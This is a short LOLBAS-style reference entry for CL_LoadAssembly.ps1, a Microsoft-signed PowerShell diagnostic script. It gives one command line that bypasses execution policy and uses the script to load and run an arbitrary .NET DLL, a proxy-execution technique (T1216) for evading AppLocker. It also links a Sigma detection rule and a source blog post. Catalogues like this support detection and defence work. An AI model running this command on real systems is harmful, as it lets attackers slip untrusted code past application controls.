CL_LoadAssembly.ps1

Commands

1. ExecuteUser T1216

   Execute proxied payload with Microsoft signed binary

   powershell.exe -ep bypass -command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()"

   Proxy execute Managed DLL with PowerShell

   os: Windows 10 21H1 (likely other versions as well), Windows 11

   Execute: DLL (.NET)

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/ff6c54ded6b52f379cec11fe17c1ccb956faa660/rules/windows/process_creation/proc_creation_win_lolbas_cl_loadassembly.yml

Resources

• https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/